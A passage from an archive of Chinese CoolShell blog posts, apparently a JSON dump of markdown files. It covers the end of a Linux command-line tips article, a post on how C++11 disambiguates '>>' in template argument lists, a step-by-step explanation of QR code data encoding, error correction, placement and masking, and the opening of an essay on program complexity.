另外，对于二进制文件，你可以使用strings（配合grep等）来查看二进制中的文本。\n\n\n* 对于文本文件转码，你可以试一下 iconv。或是试试更强的 uconv 命令（这个命令支持更高级的Unicode编码）\n\n\n* 如果你要分隔一个大文件，你可以使用split命令（split by size）和csplit命令（split by a pattern）。\n\n\n**系统调试**\n\n\n* 如果你想知道磁盘、CPU、或网络状态，你可以使用 iostat, netstat, top (或更好的 htop), 还有 dstat 命令。你可以很快地知道你的系统发生了什么事。关于这方面的命令，还有iftop, iotop等（参看《[28个Unix/Linux的命令行神器](https://coolshell.cn/articles/7829.html \"28个Unix/Linux的命令行神器\")》）\n\n\n* 要了解内存的状态，你可以使用free和vmstat命令。具体来说，你需要注意 “cached” 的值，这个值是Linux内核占用的内存。还有free的值。\n\n\n* Java 系统监控有一个小的技巧是，你可以使用kill -3 <pid> 发一个SIGQUIT的信号给JVM，可以把堆栈信息（包括垃圾回收的信息）dump到stderr/logs。\n\n\n* 使用 mtr 会比使用 traceroute 要更容易定位一个网络问题。\n\n\n* 如果你要找到哪个socket或进程在使用网络带宽，你可以使用 iftop 或 nethogs。\n\n\n* Apache的一个叫 ab 的工具是一个很有用的，用quick-and-dirty的方式来测试网站服务器的性能负载的工作。如果你需要更为复杂的测试，你可以试试 siege。\n\n\n* 如果你要抓网络包的话，试试 wireshark 或 tshark。\n\n\n* 了解 strace 和 ltrace。这两个命令可以让你查看进程的系统调用，这有助于你分析进程的hang在哪了，怎么crash和failed的。你还可以用其来做性能profile，使用 -c 选项，你可以使用-p选项来attach上任意一个进程。\n\n\n* 了解用ldd命令来检查相关的动态链接库。注意：[ldd的安全问题](https://coolshell.cn/articles/1626.html \"ldd 的一个安全问题\")\n\n\n* 使用gdb来调试一个正在运行的进程或分析core dump文件。参看我写的《[GDB中应该知道的几个调试方法](https://coolshell.cn/articles/3643.html \"GDB中应该知道的几个调试方法\")》\n\n\n* 学会到 /proc 目录中查看信息。这是一个Linux内核运行时记录的整个操作系统的运行统计和信息，比如： /proc/cpuinfo, /proc/xxx/cwd, /proc/xxx/exe, /proc/xxx/fd/, /proc/xxx/smaps.\n\n\n* 如果你调试某个东西为什么出错时，sar命令会有用。它可以让你看看 CPU, 内存, 网络, 等的统计信息。\n\n\n* 使用 dmesg 来查看一些硬件或驱动程序的信息或问题。\n\n\n作者最后加了一个免责声明：Disclaimer: Just because you *can* do something in bash, doesn’t necessarily mean you should. ;) （全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![你可能不知道的Shell](../wp-content/uploads/2012/11/shell.01-150x150.png)](https://coolshell.cn/articles/8619.html)[你可能不知道的Shell](https://coolshell.cn/articles/8619.html)\n* [![28个Unix/Linux的命令行神器](../wp-content/uploads/2012/07/dstat_screenshot-150x150.png)](https://coolshell.cn/articles/7829.html)[28个Unix/Linux的命令行神器](https://coolshell.cn/articles/7829.html)\n* [![AWK 简明教程](../wp-content/uploads/2013/02/awk-150x150.jpg)](https://coolshell.cn/articles/9070.html)[AWK 简明教程](https://coolshell.cn/articles/9070.html)\n* [![打造高效的工作环境 – Shell 篇](../wp-content/uploads/2019/03/linux.ninja_-150x150.png)](https://coolshell.cn/articles/19219.html)[打造高效的工作环境 – Shell 篇](https://coolshell.cn/articles/19219.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Linux PID 1 和 Systemd](../wp-content/uploads/2017/07/systemd-1-150x150.jpeg)](https://coolshell.cn/articles/17998.html)[Linux PID 1 和 Systemd](https://coolshell.cn/articles/17998.html)\nThe post [应该知道的Linux技巧](https://coolshell.cn/articles/8883.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2013-10-2 C++模板”__”编译问题与词法消歧设计.md",
    "content": "---\nlayout: post\ntitle: C++模板”>>”编译问题与词法消歧设计\ndate: 2013/10/2/ 10:47:36\nupdated: 2013/10/2/ 10:47:36\nstatus: publish\npublished: true\ntype: post\n---\n\n**（感谢 [@文艺复兴记](http://weibo.com/weidagang)（todd） 投递此文）**\n\n\n在编译理论中，通常将编译过程抽象为5个主要阶段：词法分析(Lexical Analysis)，语法分析(Parsing)，语义分析(Semantic Analysis)，优化(Optimization)，代码生成(Code Generation)。这5个阶段类似Unix管道模型，上一个阶段的输出作为下一个阶段的输入。其中，词法分析是根据输入源代码文本流，分割出词，识别类别，产生词法元素(Token)流，如：\n\n\n\n```\n\nint a = 10;\n\n```\n\n​经过词法分析会得到[(Type, “int”), (Identifier, “a”), (AssignOperator, “=”), (IntLiteral, 10)]，在后续的语法分析阶段，就会根据这些词法元素匹配相应的语法规则。在我学习编译原理时，教科书中对于词法分析的介绍主要是基于正则表达式的，言下之意就是普通语言的词法规则是可以通过正则表达式描述的。比如，C语言的变量名规则是“包含字母、数字或下划线，并且以字母或下划线开头”，这就可以用正则表达式`[a-zA-Z_][a-zA-Z0-9_]*`表达。但是，在实践中我发现不管是主流语言，还是自己设计的DSL都大量存在不能简单通过正则表达式进行词法分析的例子。来看C++98的模版例子：\n\n\n\n```\n\nmap<int, vector<int>>\n\n```\n\n上面这段代码会被C++98编译器中报语法错误，原因在于它把“>>”识别成了位右移运算符而不是两个模版右括号，在C++98中必须在两个括号中间加空格，写成\n\n\n\n\n```\n\nmap<int, vector<int> >\n\n```\n\n除此了C++模版，据我所知，经典的FORTRAN语言的语法规则更是大量存在词法歧义。\n\n\n我认为从本质上讲，这类问题的根源在于词法分析的依据只是简单的词法规则，并不具备所有的语法信息，而词法歧义必须提升一层在语法规则中消除。所以，在我自己设计一些DSL的时候干脆就把词法分析和语法分析合二为一了，相当于让语法分析在字符层次上去进行，而不是经典的词法元素层次上，这就是所谓的[Scannerless Parsing](http://en.wikipedia.org/wiki/Scannerless_parsing \"Scannerless Parsing\")。采用这种方法的例子并不少见，TeX, Wiki, Makefile和Perl 6等语言的语法分析器都属此类。\n\n\nScannerless Parsing方法弥补了词法规则无法消歧的问题，但是同时也破坏了词法和语法分析简单清晰的管道结构，总体上增加了实现和理解的复杂度。另外，像C++这样大型的语言，如果开始是有词法分析的，稍微碰到一个歧义就整个转成Scannerless Parsing未免也显得太夸张了。这个问题困扰了我很久，直到最近才找到了一个满意的解决方案。还是以上面”>>”为例，我们知道现在C++11已经允许不加空格了，那么C++11编译器是如何处理这个词法歧义的呢？答案是：词法分析阶段既然分析不好”>>”，干脆就不分析了，直接把”>” “>”交给语法分析器来分析，其他没有词法歧义的照旧。当我知道这个方案的时候不由得感叹：妙！理论上，词法分析是可以什么也不做的，全部把字符一一交给语法分析器也没有问题，所以，干脆让词法分析只做有把握的部分，解决不了的交给语法分析器，这样就既保留了管道结构，又解决了词法歧义。\n\n\n下面我们再来看看C++11规范关于这个问题的定义：\n\n\n\n> 14.2 Names of template specializations [temp.names] ###\n> \n> \n> After name lookup (3.4) finds that a name is a template-name or that an operator-function-id or a literal-operator-id refers to a set of overloaded functions any member of which is a function template if this is followed by a <, the < is always taken as the delimiter of a template-argument-list and never as the less-than operator. When parsing a template-argument-list, the first non-nested > is taken as the ending delimiter rather than a greater-than operator. Similarly, the first non-nested >> is treated as two consecutive but distinct > tokens, the first of which is taken as the end of the template-argument-list and completes the template-id. [ Note: The second > token produced by this replacement rule may terminate an enclosing template-id construct or it may be part of a different construct (e.g. a cast).—end note ]\n> \n> \n\n\n可见，在C++11中，词法分析器是把”>>”直接当成两个”>”传给了语法分析器，然后在语法分析中如果匹配了template-argument-lis语法，第一个”>”符号会被直接认为是模版结束符，而不是大于，也不是位移符号。根据这个定义，我构造了一个例子：\n\n\n\n```\n\ntemplate<int N>\nclass Foo {\n};\n\nFoo<3>>1> foo;\n\n```\n\n这个例子在C++98中是能正确编译的，”>>”被解释成了位移运算，但是它反而不能在C++11中编译了，因为根据规范第一个”>”被解释成了模版参数结束符。如果要在C++11中编译，需要显式地加上括号：\n\n\n\n```\n\nFoo<(3>>1)> foo;\n\n```\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![State Threads 回调终结者](../wp-content/uploads/2014/10/edsm-150x150.gif)](https://coolshell.cn/articles/12012.html)[State Threads 回调终结者](https://coolshell.cn/articles/12012.html)\n* [![C语言的整型溢出问题](../wp-content/uploads/2014/04/c99-150x150.jpg)](https://coolshell.cn/articles/11466.html)[C语言的整型溢出问题](https://coolshell.cn/articles/11466.html)\nThe post [C++模板”>>”编译问题与词法消歧设计](https://coolshell.cn/articles/10449.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2013-10-29 二维码的生成细节和原理.md",
    "content": "---\nlayout: post\ntitle: 二维码的生成细节和原理\ndate: 2013/10/29/ 0:32:35\nupdated: 2013/10/29/ 0:32:35\nstatus: publish\npublished: true\ntype: post\n---\n\n二维码又称QR Code，QR全称Quick Response，是一个近几年来移动设备上超流行的一种编码方式，它比传统的Bar Code条形码能存更多的信息，也能表示更多的数据类型：比如：字符，数字，日文，中文等等。这两天学习了一下二维码图片生成的相关细节，觉得这个玩意就是一个密码算法，在此写一这篇文章 ，揭露一下。供好学的人一同学习之。\n\n\n关于QR Code Specification，可参看这个PDF：<http://raidenii.net/files/datasheets/misc/qr_code.pdf>\n\n\n#### 基础知识\n\n\n首先，我们先说一下二维码一共有40个尺寸。官方叫版本Version。Version 1是21 x 21的矩阵，Version 2是 25 x 25的矩阵，Version 3是29的尺寸，每增加一个version，就会增加4的尺寸，公式是：(V-1)\\*4 + 21（V是版本号） 最高Version 40，(40-1)\\*4+21 = 177，所以最高是177 x 177 的正方形。\n\n\n下面我们看看一个二维码的样例：\n\n\n![](../wp-content/uploads/2013/10/QR-Code-Overview.jpeg)\n\n\n\n##### 定位图案\n\n\n* Position Detection Pattern是定位图案，用于标记二维码的矩形大小。这三个定位图案有白边叫Separators for Postion Detection Patterns。之所以三个而不是四个意思就是三个就可以标识一个矩形了。\n\n\n* Timing Patterns也是用于定位的。原因是二维码有40种尺寸，尺寸过大了后需要有根标准线，不然扫描的时候可能会扫歪了。\n\n\n* Alignment Patterns 只有Version 2以上（包括Version2）的二维码需要这个东东，同样是为了定位用的。\n\n\n##### 功能性数据\n\n\n* Format Information 存在于所有的尺寸中，用于存放一些格式化数据的。\n\n\n* Version Information 在 >= Version 7以上，需要预留两块3 x 6的区域存放一些版本信息。\n\n\n##### 数据码和纠错码\n\n\n* 除了上述的那些地方，剩下的地方存放 Data Code 数据码 和 Error Correction Code 纠错码。\n\n\n#### 数据编码\n\n\n我们先来说说数据编码。QR码支持如下的编码：\n\n\n**Numeric mode** 数字编码，从0到9。如果需要编码的数字的个数不是3的倍数，那么，最后剩下的1或2位数会被转成4或7bits，则其它的每3位数字会被编成 10，12，14bits，编成多长还要看二维码的尺寸（下面有一个表Table 3说明了这点）\n\n\n**Alphanumeric mode** 字符编码。包括 0-9，大写的A到Z（没有小写），以及符号$ % \\* + – . / : 包括空格。这些字符会映射成一个字符索引表。如下所示：（其中的SP是空格，Char是字符，Value是其索引值） 编码的过程是把字符两两分组，然后转成下表的45进制，然后转成11bits的二进制，如果最后有一个落单的，那就转成6bits的二进制。而编码模式和字符的个数需要根据不同的Version尺寸编成9, 11或13个二进制（如下表中Table 3）\n\n\n![](../wp-content/uploads/2013/10/Alphanumeric-mode.png)\n\n\n**Byte mode**, 字节编码，可以是0-255的ISO-8859-1字符。有些二维码的扫描器可以自动检测是否是UTF-8的编码。\n\n\n**Kanji mode** 这是日文编码，也是双字节编码。同样，也可以用于中文编码。日文和汉字的编码会减去一个值。如：在0X8140 to 0X9FFC中的字符会减去8140，在0XE040到0XEBBF中的字符要减去0XC140，然后把结果前两个16进制位拿出来乘以0XC0，然后再加上后两个16进制位，最后转成13bit的编码。如下图示例：\n\n\n![](../wp-content/uploads/2013/10/Kanji-mode.png)\n\n\n**Extended Channel Interpretation (ECI) mode** 主要用于特殊的字符集。并不是所有的扫描器都支持这种编码。\n\n\n**Structured Append mode** 用于混合编码，也就是说，这个二维码中包含了多种编码格式。\n\n\n**FNC1 mode** 这种编码方式主要是给一些特殊的工业或行业用的。比如GS1条形码之类的。\n\n\n简单起见，后面三种不会在本文 中讨论。\n\n\n下面两张表中，\n\n\n* Table 2 是各个编码格式的“编号”，这个东西要写在Format Information中。注：中文是1101\n\n\n* Table 3 表示了，不同版本（尺寸）的二维码，对于，数字，字符，字节和Kanji模式下，对于单个编码的2进制的位数。（在二维码的规格说明书中，有各种各样的编码规范表，后面还会提到）\n\n\n![](../wp-content/uploads/2013/10/Mode-Indicator.png)\n\n\n下面我们看几个示例，\n\n\n##### 示例一：数字编码\n\n\n在Version 1的尺寸下，纠错级别为H的情况下，编码： 01234567\n\n\n1. 把上述数字分成三组: 012 345 67\n\n\n2. 把他们转成二进制:  012 转成 0000001100；  345 转成 0101011001；  67 转成 1000011。\n\n\n3. 把这三个二进制串起来: 0000001100 0101011001 1000011\n\n\n4. 把数字的个数转成二进制 (version 1-H是10 bits ): 8个数字的二进制是 0000001000\n\n\n5. 把数字编码的标志0001和第4步的编码加到前面:  0001 0000001000 0000001100 0101011001 1000011\n\n\n##### 示例二：字符编码\n\n\n在Version 1的尺寸下，纠错级别为H的情况下，编码: AC-42\n\n\n1. 从字符索引表中找到 AC-42 这五个字条的索引 (10,12,41,4,2)\n\n\n2. 两两分组: (10,12) (41,4) (2)\n\n\n3.把每一组转成11bits的二进制:\n\n\n(10,12) 10\\*45+12 等于 462 转成 00111001110  \n\n(41,4) 41\\*45+4 等于 1849 转成 11100111001  \n\n(2) 等于 2 转成 000010\n\n\n4. 把这些二进制连接起来：00111001110 11100111001 000010\n\n\n5. 把字符的个数转成二进制 (Version 1-H为9 bits ): 5个字符，5转成 000000101\n\n\n6. 在头上加上编码标识 0010 和第5步的个数编码:  0010 000000101 00111001110 11100111001 000010\n\n\n#### 结束符和补齐符\n\n\n假如我们有个HELLO WORLD的字符串要编码，根据上面的示例二，我们可以得到下面的编码，\n\n\n\n\n| 编码 | 字符数 | HELLO WORLD的编码 |\n| --- | --- | --- |\n| 0010 | 000001011 | 01100001011 01111000110 10001011100 10110111000 10011010100 001101 |\n\n\n我们还要加上结束符：\n\n\n\n\n| 编码 | 字符数 | HELLO WORLD的编码 | 结束 |\n| --- | --- | --- | --- |\n| 0010 | 000001011 | 01100001011 01111000110 10001011100 10110111000 10011010100 001101 | 0000 |\n\n\n##### 按8bits重排\n\n\n如果所有的编码加起来不是8个倍数我们还要在后面加上足够的0，比如上面一共有78个bits，所以，我们还要加上2个0，然后按8个bits分好组：\n\n\n00100000   01011011   00001011   01111000   11010001   01110010   11011100   01001101   01000011   010000**00**\n\n\n##### 补齐码（Padding Bytes）\n\n\n最后，如果如果还没有达到我们最大的bits数的限制，我们还要加一些补齐码（Padding Bytes），Padding Bytes就是重复下面的两个bytes：11101100 00010001 （这两个二进制转成十进制是236和17，我也不知道为什么，只知道Spec上是这么写的）关于每一个Version的每一种纠错级别的最大Bits限制，可以参看[QR Code Spec](http://raidenii.net/files/datasheets/misc/qr_code.pdf)的第28页到32页的Table-7一表。\n\n\n假设我们需要编码的是Version 1的Q纠错级，那么，其最大需要104个bits，而我们上面只有80个bits，所以，还需要补24个bits，也就是需要3个Padding Bytes，我们就添加三个，于是得到下面的编码：\n\n\n00100000 01011011 00001011 01111000 11010001 01110010 11011100 01001101 01000011 01000000 **11101100 00010001 11101100**\n\n\n上面的编码就是数据码了，叫Data Codewords，每一个8bits叫一个codeword，我们还要对这些数据码加上纠错信息。\n\n\n#### 纠错码\n\n\n上面我们说到了一些纠错级别，Error Correction Code Level，二维码中有四种级别的纠错，这就是为什么二维码有残缺还能扫出来，也就是为什么有人在二维码的中心位置加入图标。\n\n\n\n\n| 错误修正容量 |\n| --- |\n| L水平 | 7%的字码可被修正 |\n| M水平 | 15%的字码可被修正 |\n| Q水平 | 25%的字码可被修正 |\n| H水平 | 30%的字码可被修正 |\n\n\n那么，QR是怎么对数据码加上纠错码的？首先，我们需要对数据码进行分组，也就是分成不同的Block，然后对各个Block进行纠错编码，对于如何分组，我们可以查看[QR Code Spec](http://raidenii.net/files/datasheets/misc/qr_code.pdf)的第33页到44页的Table-13到Table-22的定义表。注意最后两列：\n\n\n* **Number of Error Code Correction Blocks** ：需要分多少个块。\n\n\n* **Error Correction Code Per Blocks**：每一个块中的code个数，所谓的code的个数，也就是有多少个8bits的字节。\n\n\n![](../wp-content/uploads/2013/10/Error-Correction-Blocks.png)\n\n\n举个例子：上述的Version 5 + Q纠错级：需要4个Blocks（2个Blocks为一组，共两组），头一组的两个Blocks中各15个bits数据 + 各 9个bits的纠错码（注：表中的codewords就是一个8bits的byte）（再注：最后一例中的（c, k, r ）的公式为：c = k + 2 \\* r，因为后脚注解释了：纠错码的容量小于纠错码的一半）\n\n\n下图给一个5-Q的示例（因为二进制写起来会让表格太大，所以，我都用了十进制，我们可以看到每一块的纠错码有18个codewords，也就是18个8bits的二进制数）\n\n\n\n\n| 组 | 块 | 数据 | 对每个块的纠错码 |\n| --- | --- | --- | --- |\n| 1 | 1 | 67 85 70 134 87 38 85 194 119 50 6 18 6 103 38 | 213 199 11 45 115 247 241 223 229 248 154 117 154 111 86 161 111 39 |\n| 2 | 246 246 66 7 118 134 242 7 38 86 22 198 199 146 6 | 87 204 96 60 202 182 124 157 200 134 27 129 209 17 163 163 120 133 |\n| 2 | 1 | 182 230 247 119 50 7 118 134 87 38 82 6 134 151 50 7 | 148 116 177 212 76 133 75 242 238 76 195 230 189 10 108 240 192 141 |\n| 2 | 70 247 118 86 194 6 151 50 16 236 17 236 17 236 17 236 | 235 159 5 173 24 147 59 33 106 40 255 172 82 2 131 32 178 236 |\n\n\n注：二维码的纠错码主要是通过[Reed-Solomon error correction](http://en.wikipedia.org/wiki/Reed%E2%80%93Solomon_error_correction)（里德-所罗门纠错算法）来实现的。对于这个算法，对于我来说是相当的复杂，里面有很多的数学计算，比如：多项式除法，把1-255的数映射成2的n次方（0<=n<=255）的伽罗瓦域Galois Field之类的神一样的东西，以及基于这些基础的纠错数学公式，因为我的数据基础差，对于我来说太过复杂，所以我一时半会儿还有点没搞明白，还在学习中，所以，我在这里就不展开说这些东西了。还请大家见谅了。（当然，如果有朋友很明白，也繁请教教我）\n\n\n#### 最终编码\n\n\n##### 穿插放置\n\n\n如果你以为我们可以开始画图，你就错了。二维码的混乱技术还没有玩完，它还要把数据码和纠错码的各个codewords交替放在一起。如何交替呢，规则如下：\n\n\n对于数据码：把每个块的第一个codewords先拿出来按顺度排列好，然后再取第一块的第二个，如此类推。如：上述示例中的Data Codewords如下：\n\n\n\n\n|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 块 1 | 67 | 85 | 70 | 134 | 87 | 38 | 85 | 194 | 119 | 50 | 6 | 18 | 6 | 103 | 38 |  |\n| 块 2 | 246 | 246 | 66 | 7 | 118 | 134 | 242 | 7 | 38 | 86 | 22 | 198 | 199 | 146 | 6 |  |\n| 块 3 | 182 | 230 | 247 | 119 | 50 | 7 | 118 | 134 | 87 | 38 | 82 | 6 | 134 | 151 | 50 | 7 |\n| 块 4 | 70 | 247 | 118 | 86 | 194 | 6 | 151 | 50 | 16 | 236 | 17 | 236 | 17 | 236 | 17 | 236 |\n\n\n我们先取第一列的：67， 246， 182， 70\n\n\n然后再取第二列的：67， 246， 182， 70， 85，246，230 ，247\n\n\n如此类推：67， 246， 182， 70， 85，246，230 ，247 ………  ……… ，38，6，50，17，7，236\n\n\n对于纠错码，也是一样：\n\n\n\n\n|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 块 1 | 213 | 199 | 11 | 45 | 115 | 247 | 241 | 223 | 229 | 248 | 154 | 117 | 154 | 111 | 86 | 161 | 111 | 39 |\n| 块 2 | 87 | 204 | 96 | 60 | 202 | 182 | 124 | 157 | 200 | 134 | 27 | 129 | 209 | 17 | 163 | 163 | 120 | 133 |\n| 块 3 | 148 | 116 | 177 | 212 | 76 | 133 | 75 | 242 | 238 | 76 | 195 | 230 | 189 | 10 | 108 | 240 | 192 | 141 |\n| 块 4 | 235 | 159 | 5 | 173 | 24 | 147 | 59 | 33 | 106 | 40 | 255 | 172 | 82 | 2 | 131 | 32 | 178 | 236 |\n\n\n和数据码取的一样，得到：213，87，148，235，199，204，116，159，…… …… 39，133，141，236\n\n\n然后，再把这两组放在一起（纠错码放在数据码之后）得到：\n\n\n67, 246, 182, 70, 85, 246, 230, 247, 70, 66, 247, 118, 134, 7, 119, 86, 87, 118, 50, 194, 38, 134, 7, 6, 85, 242, 118, 151, 194, 7, 134, 50, 119, 38, 87, 16, 50, 86, 38, 236, 6, 22, 82, 17, 18, 198, 6, 236, 6, 199, 134, 17, 103, 146, 151, 236, 38, 6, 50, 17, 7, 236, 213, 87, 148, 235, 199, 204, 116, 159, 11, 96, 177, 5, 45, 60, 212, 173, 115, 202, 76, 24, 247, 182, 133, 147, 241, 124, 75, 59, 223, 157, 242, 33, 229, 200, 238, 106, 248, 134, 76, 40, 154, 27, 195, 255, 117, 129, 230, 172, 154, 209, 189, 82, 111, 17, 10, 2, 86, 163, 108, 131, 161, 163, 240, 32, 111, 120, 192, 178, 39, 133, 141, 236\n\n\n这就是我们的数据区。\n\n\n##### Remainder Bits\n\n\n最后再加上Reminder Bits，对于某些Version的QR，上面的还不够长度，还要加上Remainder Bits，比如：上述的5Q版的二维码，还要加上7个bits，Remainder Bits加零就好了。关于哪些Version需要多少个Remainder bit，可以参看[QR Code Spec](http://raidenii.net/files/datasheets/misc/qr_code.pdf)的第15页的Table-1的定义表。\n\n\n#### 画二维码图\n\n\n##### Position Detection Pattern\n\n\n首先，先把Position Detection图案画在三个角上。（无论Version如何，这个图案的尺寸就是这么大）\n\n\n![](../wp-content/uploads/2013/10/finder.png)\n\n\n##### Alignment Pattern\n\n\n然后，再把Alignment图案画上（无论Version如何，这个图案的尺寸就是这么大）\n\n\n![](../wp-content/uploads/2013/10/alignment-pattern.png)\n\n\n关于Alignment的位置，可以查看[QR Code Spec](http://raidenii.net/files/datasheets/misc/qr_code.pdf)的第81页的Table-E.1的定义表（下表是不完全表格）\n\n\n![](../wp-content/uploads/2013/10/Alignment-Position.png)\n\n\n下图是根据上述表格中的Version8的一个例子（6，24，42）\n\n\n![](../wp-content/uploads/2013/10/alignment-example.png)\n\n\n##### Timing Pattern\n\n\n接下来是Timing Pattern的线（这个不用多说了）\n\n\n**![](../wp-content/uploads/2013/10/Timing-Pattern.png)**\n\n\n##### Format Information\n\n\n再接下来是Formation Information，下图中的蓝色部分。\n\n\n![](../wp-content/uploads/2013/10/Format-Information.png)\n\n\nFormat Information是一个15个bits的信息，每一个bit的位置如下图所示：（注意图中的Dark Module，那是永远出现的）\n\n\n![](../wp-content/uploads/2013/10/Format-Info-bits-postion.png)\n\n\n这15个bits中包括：\n\n\n* 5个数据bits：其中，2个bits用于表示使用什么样的Error Correction Level， 3个bits表示使用什么样的Mask\n* 10个纠错bits。主要通过BCH Code来计算\n\n\n然后15个bits还要与101010000010010做XOR操作。这样就保证不会因为我们选用了00的纠错级别和000的Mask，从而造成全部为白色，这会增加我们的扫描器的图像识别的困难。\n\n\n下面是一个示例：\n\n\n![](../wp-content/uploads/2013/10/Format-Information-Example.png)\n\n\n关于Error Correction Level如下表所示：\n\n\n![](../wp-content/uploads/2013/10/Error-Correction-Indicator-Code.png)\n\n\n关于Mask图案如后面的Table 23所示。\n\n\n##### Version Information\n\n\n再接下来是Version Information（版本7以后需要这个编码），下图中的蓝色部分。  \n\n![](../wp-content/uploads/2013/10/Version-Information.png)\n\n\nVersion Information一共是18个bits，其中包括6个bits的版本号以及12个bits的纠错码，下面是一个示例：\n\n\n![](../wp-content/uploads/2013/10/Version-Information-Example.png)\n\n\n而其填充位置如下：\n\n\n![](../wp-content/uploads/2013/10/Version-Information-Position.png)\n\n\n##### 数据和数据纠错码\n\n\n然后是填接我们的最终编码，最终编码的填充方式如下：从左下角开始沿着红线填我们的各个bits，1是黑色，0是白色。如果遇到了上面的非数据区，则绕开或跳过。\n\n\n![](../wp-content/uploads/2013/10/Data-Placement.png)\n\n\n##### 掩码图案\n\n\n这样下来，我们的图就填好了，但是，也许那些点并不均衡，如果出现大面积的空白或黑块，会告诉我们扫描识别的困难。所以，我们还要做Masking操作（靠，还嫌不复杂）QR的Spec中说了，QR有8个Mask你可以使用，如下所示：其中，各个mask的公式在各个图下面。所谓mask，说白了，就是和上面生成的图做XOR操作。Mask只会和数据区进行XOR，不会影响功能区。（**注：选择一个合适的Mask也是有算法的**）\n\n\n![](../wp-content/uploads/2013/10/masking-pattern.png)\n\n\n其Mask的标识码如下所示：（其中的i,j分别对应于上图的x,y）\n\n\n![](../wp-content/uploads/2013/10/Mask-Pattern-Code.png)\n\n\n下面是Mask后的一些样子，我们可以看到被某些Mask XOR了的数据变得比较零散了。\n\n\n![](../wp-content/uploads/2013/10/Masking-Examples.png)\n\n\nMask过后的二维码就成最终的图了。\n\n\n好了，大家可以去尝试去写一下QR的编码程序，当然，你可以用网上找个Reed Soloman的纠错算法的库，或是看看别人的源代码是怎么实现这个繁锁的编码。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Cuckoo Filter：设计与实现](../wp-content/uploads/2015/08/cuckoo-150x150.jpg)](https://coolshell.cn/articles/17225.html)[Cuckoo Filter：设计与实现](https://coolshell.cn/articles/17225.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![谜题的答案和活动的心得体会](../wp-content/uploads/2014/08/puzzle-150x150.png)](https://coolshell.cn/articles/11847.html)[谜题的答案和活动的心得体会](https://coolshell.cn/articles/11847.html)\n* [![【活动】解迷题送礼物](../wp-content/uploads/2014/08/538efefbgw1eiz9cvx78fj20rm0fmdi8-150x150.jpg)](https://coolshell.cn/articles/11832.html)[【活动】解迷题送礼物](https://coolshell.cn/articles/11832.html)\n* [![伙伴分配器的一个极简实现](../wp-content/uploads/2013/10/buddy-memory-allocation-150x150.jpg)](https://coolshell.cn/articles/10427.html)[伙伴分配器的一个极简实现](https://coolshell.cn/articles/10427.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg](https://coolshell.cn/articles/9886.html)[二叉树迭代器算法](https://coolshell.cn/articles/9886.html)\nThe post [二维码的生成细节和原理](https://coolshell.cn/articles/10590.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2013-10-31 程序的本质复杂性和元语言抽象.md",
    "content": "---\nlayout: post\ntitle: 程序的本质复杂性和元语言抽象\ndate: 2013/10/31/ 0:0:9\nupdated: 2013/10/31/ 0:0:9\nstatus: publish\npublished: true\ntype: post\n---\n\n**（感谢 [@文艺复兴记](http://weibo.com/weidagang)（todd） 投递此文）**\n\n\n#### 组件复用技术的局限性\n\n\n常听到有人讲“我写代码很讲究，一直严格遵循[DRY原则](http://en.wikipedia.org/wiki/Don't_repeat_yourself)，把重复使用的功能都封装成可复用的组件，使得代码简短优雅，同时也易于理解和维护”。显然，DRY原则和组件复用技术是最常见的改善代码质量的方法，不过，在我看来以这类方法为指导，能帮助我们写出“不错的程序”，但还不足以帮助我们写出简短、优雅、易理解、易维护的“好程序”。对于熟悉Martin Fowler《重构》和GoF《设计模式》的程序员，我常常提出这样一个问题帮助他们进一步加深对程序的理解：\n\n\n\n> 如果目标是代码“简短、优雅、易理解、易维护”，组件复用技术是最好的方法吗？这种方法有没有根本性的局限？\n> \n> \n\n\n虽然基于函数、类等形式的组件复用技术从一定程度上消除了冗余，提升了代码的抽象层次，但是这种技术却有着本质的局限性，其根源在于 